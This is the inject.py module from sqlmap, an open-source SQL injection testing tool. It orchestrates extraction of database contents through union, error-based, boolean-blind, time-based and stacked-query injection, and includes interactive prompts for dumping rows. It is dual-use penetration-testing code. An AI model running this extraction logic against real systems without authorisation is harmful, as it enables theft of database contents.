sqlmap/lib/request/inject.py

#!/usr/bin/env python

"""
$Id$

Copyright (c) 2006-2011 sqlmap developers (http://www.sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import re
import time

from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
from lib.core.common import cleanQuery
from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns
from lib.core.common import getPublicTypeMembers
from lib.core.common import initTechnique
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import parseUnionPage
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomInt
from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs
from lib.core.common import safeStringFormat
from lib.core.convert import safecharencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapNotVulnerableException
from lib.core.exception import sqlmapUserQuitException
from lib.core.settings import FROM_TABLE
from lib.core.settings import MIN_TIME_RESPONSES
from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
from lib.core.settings import SQL_SCALAR_REGEX
from lib.core.threads import getCurrentThreadData
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.request.direct import direct
from lib.techniques.union.use import unionUse
from lib.techniques.blind.inference import bisection
from lib.techniques.error.use import errorUse
from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume

def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False):
    start = time.time()

    timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))

    if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare:
        _, length, _ = queryOutputLength(expression, payload)
    else:
        length = None

    dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression))

    count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump)

    if not kb.bruteMode:
        debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
        logger.debug(debugMsg)

    return value

def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
    outputs = []
    origExpr = None

    for field in expressionFieldsList:
        output = None

        if field.startswith("ROWNUM "):
            continue

        if isinstance(num, int):
            origExpr = expression
            expression = agent.limitQuery(num, expression, field)

        if "ROWNUM" in expressionFieldsList:
            expressionReplaced = expression
        else:
            expressionReplaced = expression.replace(expressionFields, field, 1)

        if resumeValue:
            output = resume(expressionReplaced, payload)

        if not output or (expected == EXPECTED.INT and not output.isdigit()):
            if output:
                warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
                warnMsg += "sqlmap is going to retrieve the value again"
                logger.warn(warnMsg)

            output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump)

        if isinstance(num, int):
            expression = origExpr

        outputs.append(output)

    return outputs

def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """

    initTechnique(kb.technique)

    query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    count = None
    startLimit = 0
    stopLimit = None
    outputs = []
    test = None
    untilLimitChar = None
    untilOrderChar = None

    if resumeValue:
        output = resume(expression, payload)
    else:
        output = None

    if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())):
        return output

    if not unpack:
        return __goInference(payload, expression, charsetType, firstChar, lastChar, dump)

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)

    rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
    if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
        expressionFieldsList = [expressionFields]

    if len(expressionFieldsList) > 1:
        infoMsg = "the SQL query provided has more than a field. "
        infoMsg += "sqlmap will now unpack it into distinct queries "
        infoMsg += "to be able to retrieve the output even if we "
        infoMsg += "are going blind"
        logger.info(infoMsg)

    # If we have been here from SQL query/shell we have to check if
    # the SQL query might return multiple entries and in such case
    # forge the SQL limiting the query output one entry per time
    # NOTE: I assume that only queries that get data from a table
    # can return multiple entries
    if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
      not in FROM_TABLE) or (Backend.getIdentifiedDbms() in FROM_TABLE and not \
      expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
      and not re.search(SQL_SCALAR_REGEX, expression, re.I):

        limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
        topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)

        if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                if limitGroupStart.isdigit():
                    startLimit = int(limitRegExp.group(int(limitGroupStart)))

                stopLimit = limitRegExp.group(int(limitGroupStop))
                limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                if limitRegExp:
                    limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                    limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1
                elif topLimit:
                    startLimit = 0
                    stopLimit = int(topLimit.group(1))
                    limitCond = int(stopLimit) > 1

            elif Backend.isDbms(DBMS.ORACLE):
                limitCond = False
        else:
            limitCond = True

        # I assume that only queries NOT containing a "LIMIT #, 1"
        # (or similar depending on the back-end DBMS) can return
        # multiple entries
        if limitCond:
            if limitRegExp:
                stopLimit = int(stopLimit)

                # From now on we need only the expression until the " LIMIT "
                # (or similar, depending on the back-end DBMS) word
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    stopLimit += startLimit
                    untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
                    expression = expression[:untilLimitChar]

                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                    stopLimit += startLimit

            if not stopLimit or stopLimit <= 1:
                if Backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]):
                    test = False
                else:
                    test = True

            if test:
                # Count the number of SQL query entries output
                countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
                countedExpression = expression.replace(expressionFields, countFirstField, 1)

                if re.search(" ORDER BY ", expression, re.I):
                    untilOrderChar = countedExpression.index(" ORDER BY ")
                    countedExpression = countedExpression[:untilOrderChar]

                if resumeValue:
                    count = resume(countedExpression, payload)

                if not stopLimit:
                    if not count or not count.isdigit():
                        count = __goInference(payload, countedExpression, 2, firstChar, lastChar)

                    if isNumPosStrValue(count):
                        count = int(count)

                        if batch:
                            stopLimit = count
                        else:
                            message = "the SQL query provided can return "
                            message += "%d entries. How many " % count
                            message += "entries do you want to retrieve?\n"
                            message += "[a] All (default)\n[#] Specific number\n"
                            message += "[q] Quit"
                            test = readInput(message, default="a")

                            if not test or test[0] in ("a", "A"):
                                stopLimit = count

                            elif test[0] in ("q", "Q"):
                                raise sqlmapUserQuitException

                            elif test.isdigit() and int(test) > 0 and int(test) <= count:
                                stopLimit = int(test)

                                infoMsg = "sqlmap is now going to retrieve the "
                                infoMsg += "first %d query output entries" % stopLimit
                                logger.info(infoMsg)

                            elif test[0] in ("#", "s", "S"):
                                message = "how many? "
                                stopLimit = readInput(message, default="10")

                                if not stopLimit.isdigit():
                                    errMsg = "invalid choice"
                                    logger.error(errMsg)

                                    return None

                                else:
                                    stopLimit = int(stopLimit)

                            else:
                                errMsg = "invalid choice"
                                logger.error(errMsg)

                                return None

                    elif count and not count.isdigit():
                        warnMsg = "it was not possible to count the number "
                        warnMsg += "of entries for the SQL query provided. "
                        warnMsg += "sqlmap will assume that it returns only "
                        warnMsg += "one entry"
                        logger.warn(warnMsg)

                        stopLimit = 1

                    elif (not count or int(count) == 0):
                        warnMsg = "the SQL query provided does not "
                        warnMsg += "return any output"
                        logger.warn(warnMsg)

                        return None

                elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
                    warnMsg = "the SQL query provided does not "
                    warnMsg += "return any output"
                    logger.warn(warnMsg)

                    return None

                try:
                    for num in xrange(startLimit, stopLimit):
                        output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
                        outputs.append(output)

                except KeyboardInterrupt:
                    print
                    warnMsg = "user aborted during dumping phase"
                    logger.warn(warnMsg)

                return outputs

    elif Backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper():
        expression += FROM_TABLE[Backend.getIdentifiedDbms()]

    outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
    returnValue = ", ".join([output for output in outputs])

    return returnValue

def __goBooleanProxy(expression, resumeValue=True):
    """
    Retrieve the output of a boolean based SQL query
    """

    initTechnique(kb.technique)

    vector = kb.injection.data[kb.technique].vector
    vector = vector.replace("[INFERENCE]", expression)
    query = agent.prefixQuery(vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)

    if resumeValue:
        output = resume(expression, payload)
    else:
        output = None

    if not output:
        output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False)

    return output

def __goError(expression, expected=None, resumeValue=True, dump=False):
    """
    Retrieve the output of a SQL query taking advantage of an error-based
    SQL injection vulnerability on the affected parameter.
    """

    output = None

    if resumeValue:
        output = resume(expression, None)

        if output and expected == EXPECTED.INT and not output.isdigit():
            output = None

    if output is None:
        output = errorUse(expression, expected, resumeValue, dump)

    return output

def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True, dump=False):
    """
    Retrieve the output of a SQL query taking advantage of an inband SQL
    injection vulnerability on the affected parameter.
    """

    output = None
    partial = False
    data = []

    if resumeValue:
        output = resume(expression, None)

        if not output or (output and (expected == EXPECTED.INT and not output.isdigit())):
            partial = True

    if output is None:
        output = unionUse(expression, unpack=unpack, dump=dump)

    if output:
        data = parseUnionPage(output, expression, partial, None, sort)

    return data

def getValue(expression, blind=True, inband=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
    """
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter. It can call a function to retrieve the output
    through inband SQL injection (if selected) and/or blind SQL injection
    (if selected).
    """

    if suppressOutput is not None:
        pushValue(getCurrentThreadData().disableStdOut)
        getCurrentThreadData().disableStdOut = suppressOutput

    try:
        if conf.direct:
            value = direct(expression)

        elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
            query = cleanQuery(expression)
            query = expandAsteriskForColumns(query)
            value = None
            found = False

            if query and not 'COUNT(*)' in query:
                query = query.replace("DISTINCT ", "")

            count = 0

            if expected == EXPECTED.BOOL:
                forgeCaseExpression = booleanExpression = expression

                if expression.upper().startswith("SELECT "):
                    booleanExpression = expression[len("SELECT "):]
                else:
                    forgeCaseExpression = agent.forgeCaseStatement(expression)

            if inband and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                kb.technique = PAYLOAD.TECHNIQUE.UNION

                if expected == EXPECTED.BOOL:
                    value = __goInband(forgeCaseExpression, expected, sort, resumeValue, unpack, dump)
                else:
                    value = __goInband(query, expected, sort, resumeValue, unpack, dump)

                count += 1
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if error and isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.ERROR

                if expected == EXPECTED.BOOL:
                    value = __goError(forgeCaseExpression, expected, resumeValue, dump)
                else:
                    value = __goError(query, expected, resumeValue, dump)

                count += 1
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN

                if expected == EXPECTED.BOOL:
                    value = __goBooleanProxy(booleanExpression, resumeValue)
                else:
                    value = __goInferenceProxy(query, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar, dump)

                count += 1
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
                else:
                    kb.technique = PAYLOAD.TECHNIQUE.STACKED

                if expected == EXPECTED.BOOL:
                    value = __goBooleanProxy(booleanExpression, resumeValue)
                else:
                    value = __goInferenceProxy(query, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar, dump)

            if value and isinstance(value, basestring):
                value = value.strip()
        else:
            errMsg = "none of the injection types identified can be "
            errMsg += "leveraged to retrieve queries output"
            raise sqlmapNotVulnerableException, errMsg

    finally:
        if suppressOutput is not None:
            getCurrentThreadData().disableStdOut = popValue()

    if value and expected == EXPECTED.BOOL:
        if isinstance(value, basestring):
            value = value.strip().lower()
            if value in ("true", "false"):
                value = value == "true"
            elif value in ("1", "-1"):
                value = True
            elif value == "0":
                value = False
            else:
                value = None
        elif isinstance(value, int):
            value = bool(value)
        elif value == [None]:
            value = None

    if safeCharEncode:
        value = safecharencode(value)

    return value

def goStacked(expression, silent=False):
    kb.technique = PAYLOAD.TECHNIQUE.STACKED
    expression = cleanQuery(expression)

    if conf.direct:
        return direct(expression)

    comment = queries[Backend.getIdentifiedDbms()].comment.query
    query = agent.prefixQuery("; %s" % expression)
    query = agent.suffixQuery("%s;%s" % (query, comment))
    payload = agent.payload(newValue=query)
    Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare=True)

def checkBooleanExpression(expression, expectingNone=True):
    kb.suppressSession = True
    value = getValue(unescaper.unescape(expression), expected=EXPECTED.BOOL, suppressOutput=True, expectingNone=expectingNone)
    kb.suppressSession = False

    return value